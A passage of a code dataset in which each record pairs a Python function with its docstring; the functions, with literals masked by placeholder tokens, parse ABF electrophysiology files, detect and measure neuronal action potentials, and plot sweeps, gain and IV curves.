in EpochInfoPerDACDescription:<EOL><INDENT>thisEpoch[key]=fread(f,byte_location,fmt)<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>thisEpoch.pop('<STR_LIT>', None) <EOL>epochs.append(thisEpoch)<EOL><DEDENT>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE<EOL>for epochNumber in range(sections['<STR_LIT>'][<NUM_LIT:0>]):<EOL><INDENT>if epochNumber>=len(epochs):<EOL><INDENT>break <EOL><DEDENT>thisEpoch=epochs[epochNumber]<EOL>for key, fmt in EpochSectionDescription:<EOL><INDENT>val=fread(f,byte_location,fmt)<EOL>if key=='<STR_LIT>':<EOL><INDENT>val=format(val, '<STR_LIT:b>').rjust(<NUM_LIT:8>,'<STR_LIT:0>') <EOL><DEDENT>thisEpoch[key]=val<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>thisEpoch.pop('<STR_LIT>', None) <EOL>epochs[epochNumber]=thisEpoch<EOL><DEDENT>f.close()<EOL>config[\"<STR_LIT>\"]=float(\"<STR_LIT>\".join([str(x) for x in header['<STR_LIT>']]))/<NUM_LIT:100> <EOL>config['<STR_LIT>']=config['<STR_LIT>'][:len(adcs)] <EOL>config['<STR_LIT>']=config['<STR_LIT>'][:len(adcs)] <EOL>config['<STR_LIT>']=[x[:<NUM_LIT:2>] for x in tags]<EOL>config['<STR_LIT>']=sections['<STR_LIT>'][<NUM_LIT:2>]<EOL>YY = int(header['<STR_LIT>'] / <NUM_LIT>)<EOL>MM = int((header['<STR_LIT>'] - YY * <NUM_LIT>) / <NUM_LIT:100>)<EOL>DD = int(header['<STR_LIT>'] - YY * <NUM_LIT> - MM * <NUM_LIT:100>)<EOL>hh = int(header['<STR_LIT>'] / <NUM_LIT> / <NUM_LIT>)<EOL>mm = int((header['<STR_LIT>'] / <NUM_LIT> - hh * <NUM_LIT>) / <NUM_LIT>)<EOL>ss = header['<STR_LIT>'] / <NUM_LIT> - hh * <NUM_LIT> - mm * <NUM_LIT><EOL>ms = int((ss%<NUM_LIT:1>)*<NUM_LIT>)<EOL>ss = int(ss)<EOL>config['<STR_LIT>'] = datetime.datetime(YY, MM, DD, hh, mm, ss, ms)<EOL>", "docstring": "Practice pulling data straight out of an ABF's binary header. Support only ABF2 (ClampEx an ClampFit 10).\nUse only native python libraries. Strive for simplicity and readability (to promote language portability).\nThis was made by Scott Harden after a line-by-line analysis of axonrawio.py from the neo io library.\nUnlike NeoIO's format, I'm going to try to prevent nested dictionaries to keep things simple.", "id": "f11403:m1"}
{"signature": "def detect(abf,sweep=None,threshold_upslope=<NUM_LIT:50>,dT=<NUM_LIT>,saveToo=True):", "body": "if type(sweep) is int:<EOL><INDENT>sweeps=[sweep]<EOL><DEDENT>else:<EOL><INDENT>sweeps=list(range(abf.sweeps))<EOL><DEDENT>timeStart=time.clock()<EOL>abf.APs=[None]*abf.sweeps<EOL>abf.SAP=[None]*abf.sweeps<EOL>for sweep in sweeps:<EOL><INDENT>abf.setSweep(sweep)<EOL>Y=abf.dataY<EOL>dI = int(dT/<NUM_LIT:1000>*abf.rate) <EOL>dY = (Y[dI:]-Y[:-dI])*(abf.rate/<NUM_LIT:1000>/dI) <EOL>Is = cm.where_cross(dY,threshold_upslope) <EOL>abf.APs[sweep]=[]<EOL>for i in range(len(Is)): <EOL><INDENT>try:<EOL><INDENT>AP=analyzeAP(Y,dY,Is[i],abf.rate) <EOL>if AP:<EOL><INDENT>AP[\"<STR_LIT>\"]=sweep<EOL>AP[\"<STR_LIT>\"]=sweep*abf.sweepInterval*abf.rate*+AP[\"<STR_LIT>\"]<EOL>AP[\"<STR_LIT>\"]=sweep*abf.sweepInterval+AP[\"<STR_LIT>\"]<EOL>AP[\"<STR_LIT>\"]=np.nan <EOL>if len(abf.APs[sweep]):<EOL><INDENT>AP[\"<STR_LIT>\"]=<NUM_LIT:1>/(AP[\"<STR_LIT>\"]-abf.APs[sweep][-<NUM_LIT:1>][\"<STR_LIT>\"])<EOL><DEDENT>if AP[\"<STR_LIT>\"] is np.nan or AP[\"<STR_LIT>\"]<<NUM_LIT>: <EOL><INDENT>abf.APs[sweep].append(AP)<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\"%(i+<NUM_LIT:1>,len(Is)))<EOL><DEDENT><DEDENT>analyzeAPgroup(abf) <EOL><DEDENT>abf.APs=cm.matrixfromDicts(abf.APs)<EOL>abf.SAP=cm.matrixfromDicts(abf.SAP)<EOL>print(\"<STR_LIT>\"%(len(cm.dictFlat(abf.APs)),(time.clock()-timeStart)*<NUM_LIT:1000>))<EOL>if saveToo:<EOL><INDENT>abf.saveThing(abf.APs,\"<STR_LIT>\")<EOL>abf.saveThing(abf.SAP,\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "An AP will be detected by a upslope that exceeds 50V/s. Analyzed too.\n    if type(sweep) is int, graph int(sweep)\n    if sweep==None, process all sweeps sweep.", "id": "f11404:m0"}
{"signature": "def analyzeAPgroup(abf=exampleABF,T1=None,T2=None,plotToo=False):", "body": "if T1 is None or T2 is None:<EOL><INDENT>if len(abf.protoSeqX)><NUM_LIT:2>:<EOL><INDENT>T1=abf.protoSeqX[<NUM_LIT:1>]/abf.rate<EOL>T2=abf.protoSeqX[<NUM_LIT:2>]/abf.rate<EOL><DEDENT>else:<EOL><INDENT>T1=<NUM_LIT:0><EOL>T2=abf.sweepLength<EOL><DEDENT><DEDENT>s={} <EOL>s[\"<STR_LIT>\"]=abf.currentSweep<EOL>s[\"<STR_LIT>\"]=abf.protoSeqY[<NUM_LIT:1>]<EOL>APs=[]<EOL>for key in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>s[key]=<NUM_LIT:0><EOL><DEDENT>for AP in abf.APs[abf.currentSweep]:<EOL><INDENT>if T1<AP[\"<STR_LIT>\"]<T2:<EOL><INDENT>APs.append(AP)<EOL><DEDENT><DEDENT>s[\"<STR_LIT>\"]=len(APs) <EOL>apTimes=cm.dictVals(APs,'<STR_LIT>')<EOL>if len(APs)><NUM_LIT:1>: <EOL><INDENT>s[\"<STR_LIT>\"]=np.average(apTimes)-T1 <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/(T2-T1)*<NUM_LIT:100> <EOL>s[\"<STR_LIT>\"]=np.average(apTimes)-APs[<NUM_LIT:0>][\"<STR_LIT>\"] <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/(APs[-<NUM_LIT:1>][\"<STR_LIT>\"]-APs[<NUM_LIT:0>][\"<STR_LIT>\"])*<NUM_LIT:100> <EOL>s[\"<STR_LIT>\"]=(APs[<NUM_LIT:0>][\"<STR_LIT>\"]-T1)*<NUM_LIT:1000> <EOL>s[\"<STR_LIT>\"]=APs[<NUM_LIT:1>]['<STR_LIT>'] <EOL>s[\"<STR_LIT>\"]=cm.dictAvg(APs[<NUM_LIT:1>:<NUM_LIT:6>],'<STR_LIT>')[<NUM_LIT:0>] <EOL>s[\"<STR_LIT>\"]=APs[-<NUM_LIT:1>]['<STR_LIT>'] <EOL>s[\"<STR_LIT>\"]=cm.dictAvg(APs,'<STR_LIT>')[<NUM_LIT:0>] <EOL>s[\"<STR_LIT>\"]=len(APs)/(T2-T1) <EOL>s[\"<STR_LIT>\"]=cm.dictAvg(APs[-int(len(APs)*<NUM_LIT>):],'<STR_LIT>')[<NUM_LIT:0>] <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/s[\"<STR_LIT>\"] <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/s[\"<STR_LIT>\"] <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/s[\"<STR_LIT>\"] <EOL>s[\"<STR_LIT>\"]=s[\"<STR_LIT>\"]/s[\"<STR_LIT>\"] <EOL>s[\"<STR_LIT>\"]=cm.dictAvg(APs,'<STR_LIT>')[<NUM_LIT:1>]/cm.dictAvg(APs,'<STR_LIT>')[<NUM_LIT:0>] <EOL>s[\"<STR_LIT>\"]=T1<EOL>s[\"<STR_LIT>\"]=T2<EOL><DEDENT>abf.SAP[abf.currentSweep]=s<EOL>", "docstring": "On the current (setSweep()) sweep, calculate things like accomodation.\nOnly call directly just for demonstrating how it works by making a graph.\nOr call this if you want really custom T1 and T2 (multiple per sweep)\n  This is called by default with default T1 and T2.\n  Manually call it again for custom.", "id": "f11404:m1"}
{"signature": "def check_AP_group(abf=exampleABF,sweep=<NUM_LIT:0>):", "body": "abf.setSweep(sweep)<EOL>swhlab.plot.new(abf,title=\"<STR_LIT>\"%(abf.currentSweep,abf.protoSeqY[<NUM_LIT:1>]))<EOL>swhlab.plot.sweep(abf)<EOL>SAP=cm.matrixToDicts(abf.SAP[sweep])<EOL>if \"<STR_LIT>\" in SAP.keys():<EOL><INDENT>T1=SAP[\"<STR_LIT>\"]<EOL>T2=SAP[\"<STR_LIT>\"]<EOL>pylab.axvspan(T1/abf.rate,T2/abf.rate,color='<STR_LIT:r>',alpha=<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>T1=<NUM_LIT:0><EOL>T2=abf.sweepLength<EOL><DEDENT>swhlab.plot.annotate(abf)<EOL>pylab.tight_layout()<EOL>pylab.subplots_adjust(right=<NUM_LIT>)<EOL>pylab.annotate(cm.msgDict(SAP),(<NUM_LIT>,<NUM_LIT>),ha='<STR_LIT:left>',va='<STR_LIT>',<EOL>weight='<STR_LIT>',family='<STR_LIT>',<EOL>xycoords='<STR_LIT>',size=<NUM_LIT:12>,color='<STR_LIT:g>')<EOL>pylab.axis([T1-<NUM_LIT>,T2+<NUM_LIT>,None,None])<EOL>", "docstring": "after running detect() and abf.SAP is populated, this checks it.", "id": "f11404:m2"}
{"signature": "def analyzeAP(Y,dY,I,rate,verbose=False):", "body": "Ims = int(rate/<NUM_LIT:1000>) <EOL>IsToLook=<NUM_LIT:5>*Ims <EOL>upslope=np.max(dY[I:I+IsToLook]) <EOL>upslopeI=np.where(dY[I:I+IsToLook]==upslope)[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>I=upslopeI <EOL>downslope=np.min(dY[I:I+IsToLook]) <EOL>downslopeI=np.where(dY[I:I+IsToLook]==downslope)[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>peak=np.max(Y[I:I+IsToLook]) <EOL>peakI=np.where(Y[I:I+IsToLook]==peak)[<NUM_LIT:0>][<NUM_LIT:0>]+I <EOL>thresholdI=I-np.where(dY[I:I+IsToLook:--<NUM_LIT:1>]<<NUM_LIT:10>)[<NUM_LIT:0>] <EOL>if not len(thresholdI):<EOL><INDENT>return False<EOL><DEDENT>thresholdI=thresholdI[<NUM_LIT:0>]<EOL>threshold=Y[thresholdI] <EOL>height=peak-threshold <EOL>halfwidthPoint=np.average((threshold,peak))<EOL>halfwidth=np.where(Y[I-IsToLook:I+IsToLook]>halfwidthPoint)[<NUM_LIT:0>]<EOL>if not len(halfwidth):<EOL><INDENT>return False <EOL><DEDENT>halfwidthI1=halfwidth[<NUM_LIT:0>]+I-IsToLook<EOL>halfwidthI2=halfwidth[-<NUM_LIT:1>]+I-IsToLook<EOL>if Y[halfwidthI1-<NUM_LIT:1>]>halfwidthPoint or Y[halfwidthI2+<NUM_LIT:1>]>halfwidthPoint:<EOL><INDENT>return False <EOL><DEDENT>halfwidth=len(halfwidth)/rate*<NUM_LIT:1000> <EOL>riseTime=(peakI-thresholdI)*<NUM_LIT:1000>/rate <EOL>IsToLook=<NUM_LIT:100>*Ims <EOL>AHPchunk=np.diff(Y[downslopeI:downslopeI+IsToLook]) <EOL>AHPI=np.where(AHPchunk><NUM_LIT:0>)[<NUM_LIT:0>]<EOL>if len(AHPI)==<NUM_LIT:0>:<EOL><INDENT>AHPI=np.nan<EOL><DEDENT>else:<EOL><INDENT>AHPI=AHPI[<NUM_LIT:0>]+downslopeI<EOL>AHPchunk=Y[AHPI:AHPI+IsToLook]<EOL>if max(AHPchunk)>threshold: <EOL><INDENT>AHPchunk=AHPchunk[:np.where(AHPchunk>threshold)[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL><DEDENT>if len(AHPchunk):<EOL><INDENT>AHP=np.nanmin(AHPchunk)<EOL>AHPI=np.where(AHPchunk==AHP)[<NUM_LIT:0>][<NUM_LIT:0>]+AHPI<EOL>AHPheight=threshold-AHP <EOL>IsToLook=<NUM_LIT>*Ims <EOL>AHPreturn=np.average((AHP,threshold)) <EOL>AHPreturnI=np.where(Y[AHPI:AHPI+IsToLook]>AHPreturn)[<NUM_LIT:0>]<EOL>if len(AHPreturnI): <EOL><INDENT>AHPreturnI=AHPreturnI[<NUM_LIT:0>]+AHPI<EOL>AHPrisetime=(AHPreturnI-AHPI)*<NUM_LIT:2>/rate*<NUM_LIT:1000> <EOL>AHPupslope=AHPheight/AHPrisetime <EOL>AHPreturnFullI=(AHPreturnI-AHPI)*<NUM_LIT:2>+AHPI<EOL><DEDENT>else: <EOL><INDENT>AHPreturnI,AHPrisetime,AHPupslope=np.nan,np.nan,np.nan<EOL>downslope=np.nan<EOL><DEDENT><DEDENT><DEDENT>sweepI,sweepT=I,I/rate <EOL>del IsToLook,I, Y, dY, Ims, AHPchunk, verbose <EOL>return locals()<EOL>", "docstring": "given a sweep and a time point, return the AP array for that AP.\nAPs will be centered in time by their maximum upslope.", "id": "f11404:m3"}
{"signature": "def check_sweep(abf,sweep=None,dT=<NUM_LIT>):", "body": "if abf.APs is None:<EOL><INDENT>APs=[]<EOL><DEDENT>else:<EOL><INDENT>APs=cm.matrixToDicts(abf.APs)<EOL><DEDENT>if sweep is None or len(sweep)==<NUM_LIT:0>: <EOL><INDENT>for sweepNum in range(abf.sweeps):<EOL><INDENT>foundInThisSweep=<NUM_LIT:0><EOL>for AP in APs:<EOL><INDENT>if AP[\"<STR_LIT>\"]==sweepNum:<EOL><INDENT>foundInThisSweep+=<NUM_LIT:1><EOL><DEDENT>if foundInThisSweep>=<NUM_LIT:5>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>sweep=sweepNum<EOL><DEDENT>abf.setSweep(sweep)<EOL>Y=abf.dataY<EOL>dI = int(dT/<NUM_LIT:1000>*abf.rate) <EOL>dY = (Y[dI:]-Y[:-dI])*(abf.rate/<NUM_LIT:1000>/dI) <EOL>pylab.figure(figsize=(<NUM_LIT:12>,<NUM_LIT:6>))<EOL>ax=pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\"%abf.currentSweep)<EOL>pylab.ylabel(\"<STR_LIT>\")<EOL>pylab.plot(Y,'<STR_LIT:->',alpha=<NUM_LIT>)<EOL>for AP in APs:<EOL><INDENT>if not AP[\"<STR_LIT>\"]==sweep:<EOL><INDENT>continue<EOL><DEDENT>pylab.axvline(AP[\"<STR_LIT>\"],alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>pylab.plot(AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"],'<STR_LIT:.>',alpha=<NUM_LIT>,ms=<NUM_LIT:20>,color='<STR_LIT:r>')<EOL>pylab.plot(AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"],'<STR_LIT:.>',alpha=<NUM_LIT>,ms=<NUM_LIT:20>,color='<STR_LIT:c>')<EOL>pylab.plot([AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"]],<EOL>[AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"]],<EOL>'<STR_LIT:->',alpha=<NUM_LIT>,ms=<NUM_LIT:20>,color='<STR_LIT:b>',lw=<NUM_LIT:7>)<EOL>pylab.plot([AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"]],<EOL>[AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"]],<EOL>'<STR_LIT:->',lw=<NUM_LIT:5>,alpha=<NUM_LIT>,color='<STR_LIT:g>')<EOL><DEDENT>pylab.subplot(<NUM_LIT>,sharex=ax)<EOL>pylab.ylabel(\"<STR_LIT>\")<EOL>pylab.xlabel(\"<STR_LIT>\"%(abf.rate/<NUM_LIT:1000>))<EOL>pylab.plot(dY,'<STR_LIT:->',alpha=<NUM_LIT>)<EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>for AP in APs:<EOL><INDENT>if not AP[\"<STR_LIT>\"]==sweep:<EOL><INDENT>continue<EOL><DEDENT>pylab.axvline(AP[\"<STR_LIT>\"],alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>pylab.plot(AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"],'<STR_LIT:.>',alpha=<NUM_LIT>,ms=<NUM_LIT:20>,color='<STR_LIT:g>')<EOL>pylab.plot(AP[\"<STR_LIT>\"],AP[\"<STR_LIT>\"],'<STR_LIT:.>',alpha=<NUM_LIT>,ms=<NUM_LIT:20>,color='<STR_LIT:g>')<EOL>pylab.axis([APs[<NUM_LIT:0>][\"<STR_LIT>\"]-<NUM_LIT:1000>,APs[-<NUM_LIT:1>][\"<STR_LIT>\"]+<NUM_LIT:1000>,None,None])<EOL><DEDENT>", "docstring": "Plotting for an eyeball check of AP detection in the given sweep.", "id": "f11404:m4"}
{"signature": "def get_AP_timepoints(abf):", "body": "col=abf.APs.dtype.names.index(\"<STR_LIT>\")<EOL>timePoints=[]<EOL>for i in range(len(abf.APs)):<EOL><INDENT>timePoints.append(abf.APs[i][col])<EOL><DEDENT>return timePoints<EOL>", "docstring": "return list of time points (sec) of all AP events in experiment.", "id": "f11404:m5"}
{"signature": "def check_AP_raw(abf,n=<NUM_LIT:10>):", "body": "timePoints=get_AP_timepoints(abf)[:n] <EOL>if len(timePoints)==<NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>swhlab.plot.new(abf,True,title=\"<STR_LIT>\"%n,xlabel=\"<STR_LIT>\")<EOL>Ys=abf.get_data_around(timePoints,padding=<NUM_LIT>)<EOL>Xs=(np.arange(len(Ys[<NUM_LIT:0>]))-len(Ys[<NUM_LIT:0>])/<NUM_LIT:2>)*<NUM_LIT:1000>/abf.rate<EOL>for i in range(<NUM_LIT:1>,len(Ys)):<EOL><INDENT>pylab.plot(Xs,Ys[i],alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL><DEDENT>pylab.plot(Xs,Ys[<NUM_LIT:0>],alpha=<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:2>)<EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>msg=cm.msgDict(cm.dictFlat(abf.APs)[<NUM_LIT:0>],cantEndWith=\"<STR_LIT:I>\")<EOL>pylab.subplots_adjust(right=<NUM_LIT>)<EOL>pylab.annotate(msg,(<NUM_LIT>,<NUM_LIT>),ha='<STR_LIT:left>',va='<STR_LIT>',<EOL>xycoords='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:10>)<EOL>", "docstring": "X", "id": "f11404:m6"}
{"signature": "def check_AP_deriv(abf,n=<NUM_LIT:10>):", "body": "timePoints=get_AP_timepoints(abf)[:<NUM_LIT:10>] <EOL>if len(timePoints)==<NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>swhlab.plot.new(abf,True,title=\"<STR_LIT>\"%n,xlabel=\"<STR_LIT>\",ylabel=\"<STR_LIT>\")<EOL>pylab.axhline(-<NUM_LIT:50>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>pylab.axhline(-<NUM_LIT:100>,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>Ys=abf.get_data_around(timePoints,msDeriv=<NUM_LIT>,padding=<NUM_LIT>)<EOL>Xs=(np.arange(len(Ys[<NUM_LIT:0>]))-len(Ys[<NUM_LIT:0>])/<NUM_LIT:2>)*<NUM_LIT:1000>/abf.rate<EOL>for i in range(<NUM_LIT:1>,len(Ys)):<EOL><INDENT>pylab.plot(Xs,Ys[i],alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL><DEDENT>pylab.plot(Xs,Ys[<NUM_LIT:0>],alpha=<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:2>)<EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>", "docstring": "X", "id": "f11404:m7"}
{"signature": "def check_AP_phase(abf,n=<NUM_LIT:10>):", "body": "timePoints=get_AP_timepoints(abf)[:<NUM_LIT:10>] <EOL>if len(timePoints)==<NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>swhlab.plot.new(abf,True,title=\"<STR_LIT>\"%n,xlabel=\"<STR_LIT>\",ylabel=\"<STR_LIT>\")<EOL>Ys=abf.get_data_around(timePoints,msDeriv=<NUM_LIT>,padding=<NUM_LIT>)<EOL>Xs=abf.get_data_around(timePoints,padding=<NUM_LIT>)<EOL>for i in range(<NUM_LIT:1>,len(Ys)):<EOL><INDENT>pylab.plot(Xs[i],Ys[i],alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL><DEDENT>pylab.plot(Xs[<NUM_LIT:0>],Ys[<NUM_LIT:0>],alpha=<NUM_LIT>,color='<STR_LIT:r>',lw=<NUM_LIT:1>)<EOL>pylab.margins(<NUM_LIT>,<NUM_LIT>)<EOL>", "docstring": "X", "id": "f11404:m8"}
{"signature": "def stats_first(abf):", "body": "msg=\"<STR_LIT>\"<EOL>for sweep in range(abf.sweeps):<EOL><INDENT>for AP in abf.APs[sweep]:<EOL><INDENT>for key in sorted(AP.keys()):<EOL><INDENT>if key[-<NUM_LIT:1>] is \"<STR_LIT:I>\" or key[-<NUM_LIT:2>:] in [\"<STR_LIT>\",\"<STR_LIT>\"]:<EOL><INDENT>continue<EOL><DEDENT>msg+=\"<STR_LIT>\"%(key,AP[key])<EOL><DEDENT>return msg<EOL><DEDENT><DEDENT>", "docstring": "provide all stats on the first AP.", "id": "f11404:m9"}
{"signature": "def get_values(abf,key=\"<STR_LIT>\",continuous=False):", "body": "Xs,Ys,Ss=[],[],[]<EOL>for sweep in range(abf.sweeps):<EOL><INDENT>for AP in cm.matrixToDicts(abf.APs):<EOL><INDENT>if not AP[\"<STR_LIT>\"]==sweep:<EOL><INDENT>continue<EOL><DEDENT>Ys.append(AP[key])<EOL>Ss.append(AP[\"<STR_LIT>\"])<EOL>if continuous:<EOL><INDENT>Xs.append(AP[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>Xs.append(AP[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT><DEDENT>return np.array(Xs),np.array(Ys),np.array(Ss)<EOL>", "docstring": "returns Xs, Ys (the key), and sweep #s for every AP found.", "id": "f11404:m10"}
{"signature": "def getAvgBySweep(abf,feature,T0=None,T1=None):", "body": "if T1 is None:<EOL><INDENT>T1=abf.sweepLength<EOL><DEDENT>if T0 is None:<EOL><INDENT>T0=<NUM_LIT:0><EOL><DEDENT>data = [np.empty((<NUM_LIT:0>))]*abf.sweeps<EOL>for AP in cm.dictFlat(cm.matrixToDicts(abf.APs)):<EOL><INDENT>if T0<AP['<STR_LIT>']<T1:<EOL><INDENT>val=AP[feature]<EOL>data[int(AP['<STR_LIT>'])]=np.concatenate((data[int(AP['<STR_LIT>'])],[val]))<EOL><DEDENT><DEDENT>for sweep in range(abf.sweeps):<EOL><INDENT>if len(data[sweep])><NUM_LIT:1> and np.any(data[sweep]):<EOL><INDENT>data[sweep]=np.nanmean(data[sweep])<EOL><DEDENT>elif len(data[sweep])==<NUM_LIT:1>:<EOL><INDENT>data[sweep]=data[sweep][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>data[sweep]=np.nan<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "return average of a feature divided by sweep.", "id": "f11404:m12"}
{"signature": "def values_above_sweep(abf,dataI,dataY,ylabel=\"<STR_LIT>\",useFigure=None):", "body": "xOffset = abf.currentSweep*abf.sweepInterval<EOL>if not useFigure: <EOL><INDENT>pylab.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:6>))<EOL><DEDENT>ax=pylab.subplot(<NUM_LIT>)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>if len(dataI):<EOL><INDENT>pylab.plot(abf.dataX[dataI],dataY,'<STR_LIT:.>',ms=<NUM_LIT:10>,alpha=<NUM_LIT>,<EOL>color=abf.colormap[abf.currentSweep])<EOL><DEDENT>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>pylab.ylabel(ylabel)<EOL>pylab.subplot(<NUM_LIT>,sharex=ax)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>pylab.plot(abf.dataX,abf.dataY,color=abf.colormap[abf.currentSweep],alpha=<NUM_LIT>)<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.units)<EOL>ax2=pylab.subplot(<NUM_LIT>)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>if len(dataI):<EOL><INDENT>pylab.plot(abf.dataX[dataI]+xOffset,dataY,'<STR_LIT:.>',ms=<NUM_LIT:10>,alpha=<NUM_LIT>,<EOL>color=abf.colormap[abf.currentSweep])<EOL><DEDENT>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>pylab.ylabel(ylabel)<EOL>pylab.subplot(<NUM_LIT>,sharex=ax2)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>pylab.plot(abf.dataX+xOffset,abf.dataY,color=abf.colormap[abf.currentSweep])<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.units)<EOL>pylab.tight_layout()<EOL>", "docstring": "To make plots like AP frequency over original trace.\ndataI=[i] #the i of the sweep\ndataY=[1.234] #something like inst freq", "id": "f11405:m1"}
{"signature": "def gain(abf):", "body": "Ys=np.nan_to_num(swhlab.ap.getAvgBySweep(abf,'<STR_LIT>'))<EOL>Xs=abf.clampValues(abf.dataX[int(abf.protoSeqX[<NUM_LIT:1>]+<NUM_LIT>)])<EOL>swhlab.plot.new(abf,title=\"<STR_LIT>\",xlabel=\"<STR_LIT>\",<EOL>ylabel=\"<STR_LIT>\")<EOL>pylab.plot(Xs,Ys,'<STR_LIT>',ms=<NUM_LIT:20>,alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL>pylab.axhline(<NUM_LIT:0>,alpha=<NUM_LIT>,lw=<NUM_LIT:2>,color='<STR_LIT:r>',ls=\"<STR_LIT>\")<EOL>pylab.margins(<NUM_LIT>,<NUM_LIT>)<EOL>", "docstring": "easy way to plot a gain function.", "id": "f11405:m2"}
{"signature": "def IV(abf,T1,T2,plotToo=True,color='<STR_LIT:b>'):", "body": "rangeData=abf.average_data([[T1,T2]]) <EOL>AV,SD=rangeData[:,<NUM_LIT:0>,<NUM_LIT:0>],rangeData[:,<NUM_LIT:0>,<NUM_LIT:1>] <EOL>Xs=abf.clampValues(T1) <EOL>if plotToo:<EOL><INDENT>new(abf) <EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>pylab.xlabel(\"<STR_LIT>\")<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.units)<EOL>sweep(abf,'<STR_LIT:all>',protocol=False)<EOL>pylab.axis([None,None,np.min(rangeData)-<NUM_LIT:50>,np.max(rangeData)+<NUM_LIT:50>])<EOL>pylab.axvspan(T1,T2,alpha=<NUM_LIT>,color=color) <EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>pylab.xlabel(\"<STR_LIT>\")<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.units)<EOL>sweep(abf,'<STR_LIT:all>',protocol=False)<EOL>pylab.axis([T1-<NUM_LIT>,T2+<NUM_LIT>,np.min(rangeData)-<NUM_LIT:50>,np.max(rangeData)+<NUM_LIT:50>])<EOL>pylab.axvspan(T1,T2,alpha=<NUM_LIT>,color=color) <EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>pylab.xlabel(\"<STR_LIT>\")<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.unitsCommand)<EOL>sweep(abf,'<STR_LIT:all>',protocol=True)<EOL>pylab.axvspan(T1,T2,alpha=<NUM_LIT>,color=color) <EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>pylab.xlabel(\"<STR_LIT>\"%abf.unitsCommand)<EOL>pylab.ylabel(\"<STR_LIT>\"%abf.units)<EOL>pylab.errorbar(Xs,AV,SD,capsize=<NUM_LIT:0>,marker='<STR_LIT:.>',color=color)<EOL>if abf.units==\"<STR_LIT>\":<EOL><INDENT>pylab.axhline(<NUM_LIT:0>,alpha=<NUM_LIT>,lw=<NUM_LIT:2>,color='<STR_LIT:r>',ls=\"<STR_LIT>\")<EOL>pylab.axvline(-<NUM_LIT>,alpha=<NUM_LIT>,lw=<NUM_LIT:2>,color='<STR_LIT:r>',ls=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>pylab.axhline(-<NUM_LIT>,alpha=<NUM_LIT>,lw=<NUM_LIT:2>,color='<STR_LIT:r>',ls=\"<STR_LIT>\")<EOL>pylab.axvline(<NUM_LIT:0>,alpha=<NUM_LIT>,lw=<NUM_LIT:2>,color='<STR_LIT:r>',ls=\"<STR_LIT>\")<EOL><DEDENT>pylab.margins(<NUM_LIT>,<NUM_LIT>)<EOL><DEDENT>annotate(abf)<EOL>return AV,SD<EOL>", "docstring": "Given two time points (seconds) return IV data.\nOptionally plots a fancy graph (with 